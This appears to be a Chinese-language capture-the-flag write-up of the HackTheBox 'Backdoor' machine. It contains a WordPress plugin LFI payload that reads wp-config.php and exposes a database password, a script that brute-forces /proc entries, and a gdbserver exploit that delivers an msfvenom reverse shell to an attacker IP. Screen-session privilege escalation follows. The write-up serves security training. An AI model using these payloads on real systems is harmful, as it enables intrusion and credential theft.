> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/backdoor-hackthebox-writeup.md).

# Backdoor HackTheBox 解题报告

{% hint style="warning" %}
**技能：**

* WordPress 本地文件包含漏洞（LFI）
* 从 LFI 到 RCE（滥用 /proc/PID/cmdline）
* Gdbserver RCE 漏洞
* 滥用 Screen（权限提升）（会话同步）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/4b5dcba35fd2a5680be6e2a6a464a531a3c893b2" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/7c8c45237932ea3da4a31b388ec440d8cf4e0eb2" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.125 -oG allPorts
```

<figure><img src="/files/6d33a05f5ad2bb6a67a5c42caf7e81212003c6be" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22,80,1337）

<figure><img src="/files/b7567bba3407f17d30520a2914a899bbbe9f2056" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,80,1337 10.10.11.125 -oN targeted
```

<figure><img src="/files/90e449cb01a963fdd6fba9f08eef66fc05c73363" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/116b592fd6f5cb052942fbb28f214f7f46c1b0fb" alt=""><figcaption></figcaption></figure>

### 端口 80 - WordPress

**WordPress 识别：**

通过 **WhatWeb** 工具，80 端口上的服务被识别为 WordPress。

<div data-full-width="true"><figure><img src="/files/a7383c98f21dfbac5d1fe7441042cac4f6c88162" alt=""><figcaption></figcaption></figure></div>

**用户枚举：**

通过暴力破解攻击发现了一个有效用户（admin）：

<figure><img src="/files/d4f309528ddc23d07b5320006b12291bdc896abf" alt=""><figcaption></figcaption></figure>

```bash
wpscan --url http://backdoor.htb/ -e u  
```

<figure><img src="/files/95a246243027355fb3e5a873d5fef439b71ea292" alt=""><figcaption></figcaption></figure>

**使用 Gobuster 枚举目录：**

目录搜索：

```bash
gobuster dir -u http://backdoor.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/fcf65488fce946a00866dd1cc67adad6f4397316" alt=""><figcaption></figcaption></figure>

## Ebook-Download 漏洞 - LFI

搜索 **wp-content/plugins** 以发现已启用的插件：

```
/wp-content/plugins
```

<figure><img src="/files/54ccf6e0b4e6b0a0522be0a457fdb3292c26d282" alt=""><figcaption></figcaption></figure>

该 **ebook-download** 该插件存在一个可通过以下方式利用的 LFI 漏洞：

```
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
```

<figure><img src="/files/d2c2408ee77d3f95f7e41c57680d3da925633d26" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bb7454e8b61d5736ee7fb7b6fdde00e048d8bf94" alt=""><figcaption></figcaption></figure>

该请求允许你下载任意文件。通过恢复 `wp-config.php` 文件

<figure><img src="/files/a28dea4c7009fcf50928dfce5cfeaf9786b510c0" alt=""><figcaption></figcaption></figure>

我们得到以下信息：

* `wordpressuser`
* `MQYBJSaD#DxG6qbm`

<figure><img src="/files/a394dced81b774b3172c0f2e62589bb5f1f67fa0" alt=""><figcaption></figcaption></figure>

这些信息不能让你连接到 `wp-admin` 界面，

<figure><img src="/files/8bab28225541535c8c93072c0ed34d6ad9ab0c33" alt=""><figcaption></figcaption></figure>

## LFI 漏洞利用

**敏感文件列表：**

通过 /etc/passwd 列出系统用户：

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/
```

<figure><img src="/files/058bd7fa5f2663f7c4c039349784e5554f29acc6" alt=""><figcaption></figcaption></figure>

尝试恢复用户的 SSH 私钥 `用户`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"
```

这些尝试很可能由于这些文件的权限受限而失败。

<div data-full-width="true"><figure><img src="/files/623af35933341c778db0f4d1adb89ac63ec21c04" alt=""><figcaption></figcaption></figure></div>

### **LFI - Proc**

**进程探索**

创建一个 Python 脚本，通过探查来提取进程信息 `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3


from pwn import *
import requests, signal, time, pdb

def def_handler(sig, frame):

    print("/n/n[+]] 正在退出.../n")
    sys.exit(1)

# Ctrl + c 

signal.signal(signal.SIGINT, def_handler)

# 全局变量 
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="


def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("暴力破解攻击")
    p1.status("开始暴力破解攻击")
    sleep(2)

    for i in range(1, 1000):
        p1.status("尝试使用路径 /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)

        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("路径：/proc/%s/cmdline" % str(i))
            log.info("总长度：%s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")

if __name__ == '__main__':
    makeRequest()
```

通过分析进程，1337 端口被识别为一个， **gdbserver** 服务器。

<div data-full-width="true"><figure><img src="/files/b0da0ee3b6372b4ca5927ccb51f8d758421bcf8d" alt=""><figcaption></figcaption></figure></div>

## 端口 1337 - gdbserver

gdbserver 的利用漏洞可在 **Searchsploit**:

<figure><img src="/files/738d7fa5e5812c18489b386313b8e5d838db19f7" alt=""><figcaption></figcaption></figure>

**gdbserver 利用：**

```bash
searchsploit -m linux/remote/50539.py
```

1. 生成反向 shell：

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 PrependFork=true -o rev.bin
```

2. 在 443 端口上启动监听器：

```bash
nc -nvlp 443
```

3. 运行漏洞利用：

```bash
python3 exploit.py 10.10.11.125:1337 rev.bin
```

<figure><img src="/files/e534d853926488dab104fb888a252ac1e326509e" alt=""><figcaption></figcaption></figure>

为了更稳定地处理交互式 shell：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### User.txt 标志：）

<figure><img src="/files/075771ffa4210d7775c431462b3c6231ccc468ef" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### SUID - Screen：

#### SUID 二进制文件识别

我们将使用以下命令在系统中搜索启用了 SUID 位的文件：

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/7919fc6d348c0f675b0395695f6c4cf8e3c6f025" alt=""><figcaption></figcaption></figure>

#### Screen 进程分析

要检查正在运行的与 Screen 相关的进程，我们使用以下命令：

```bash
ps -aux | grep "screen"
```

<div data-full-width="true"><figure><img src="/files/ab5e492b8e0f1f2ec4fa006af64ff555ebae430a" alt=""><figcaption></figcaption></figure></div>

我们发现以下进程正在运行：

{% code overflow="wrap" %}

```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```

{% endcode %}

上述进程表明，如果 `/var/run/screen/S-root/` 文件夹为空。借助这种设置，我们可以利用 Screen 获取 root 访问权限。

```bash
screen -x root/
```

### root.txt flag :)

以 root 身份访问 Screen 会话后，你现在拥有管理员权限。

<figure><img src="/files/496def476abed37de55ac5a681aa7287111f1807" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3fe08aa6577addef7a919901e71d49642fd89502" alt="" width="527"><figcaption></figcaption></figure>


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